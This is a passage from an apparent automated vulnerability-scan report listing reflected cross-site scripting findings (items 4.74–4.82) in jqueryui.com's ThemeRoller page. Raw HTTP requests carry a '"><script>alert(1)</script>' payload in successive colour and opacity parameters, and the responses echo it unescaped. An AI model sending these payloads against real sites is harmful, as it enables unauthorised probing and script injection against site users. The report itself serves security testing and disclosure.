GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1Dd8585"><script>alert(1)</script>9328a0e8c14&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:34 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ult=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1Dd8585"><script>alert(1)</script>9328a0e8c14&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault
...[SNIP]...

4.74. http://jqueryui.com/themeroller/ [bgColorDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8076"><script>alert(1)</script>de432bdbd5 was submitted in the bgColorDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffffc8076"><script>alert(1)</script>de432bdbd5&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:42 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120092

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffffc8076"><script>alert(1)</script>de432bdbd5&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColor
...[SNIP]...

4.75. http://jqueryui.com/themeroller/ [bgColorError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73926"><script>alert(1)</script>490ba36911e was submitted in the bgColorError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec73926"><script>alert(1)</script>490ba36911e&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:13 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec73926"><script>alert(1)</script>490ba36911e&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverl
...[SNIP]...

4.76. http://jqueryui.com/themeroller/ [bgColorHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58dc2"><script>alert(1)</script>76eadeed398 was submitted in the bgColorHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A58dc2"><script>alert(1)</script>76eadeed398&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:28 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A58dc2"><script>alert(1)</script>76eadeed398&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&b
...[SNIP]...

4.77. http://jqueryui.com/themeroller/ [bgColorHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66f98"><script>alert(1)</script>c6a44b7ce61 was submitted in the bgColorHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D366f98"><script>alert(1)</script>c6a44b7ce61&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:05 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D366f98"><script>alert(1)</script>c6a44b7ce61&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpa
...[SNIP]...

4.78. http://jqueryui.com/themeroller/ [bgColorHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81892"><script>alert(1)</script>c31d3525fe7 was submitted in the bgColorHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F81892"><script>alert(1)</script>c31d3525fe7&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:48 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
cContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F81892"><script>alert(1)</script>c31d3525fe7&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5
...[SNIP]...

4.79. http://jqueryui.com/themeroller/ [bgColorOverlay parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc392"><script>alert(1)</script>2a2e63ccd17 was submitted in the bgColorOverlay parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaacc392"><script>alert(1)</script>2a2e63ccd17&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:19 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaacc392"><script>alert(1)</script>2a2e63ccd17&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&off
...[SNIP]...

4.80. http://jqueryui.com/themeroller/ [bgColorShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db0b1"><script>alert(1)</script>cfa7796406f was submitted in the bgColorShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaadb0b1"><script>alert(1)</script>cfa7796406f&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:24 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
oft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaadb0b1"><script>alert(1)</script>cfa7796406f&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

4.81. http://jqueryui.com/themeroller/ [bgImgOpacityActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f926f"><script>alert(1)</script>a58c2e437c9 was submitted in the bgImgOpacityActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65f926f"><script>alert(1)</script>a58c2e437c9&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:01 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65f926f"><script>alert(1)</script>a58c2e437c9&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636
...[SNIP]...

4.82. http://jqueryui.com/themeroller/ [bgImgOpacityContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afc9a"><script>alert(1)</script>680b4cdc57f was submitted in the bgImgOpacityContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

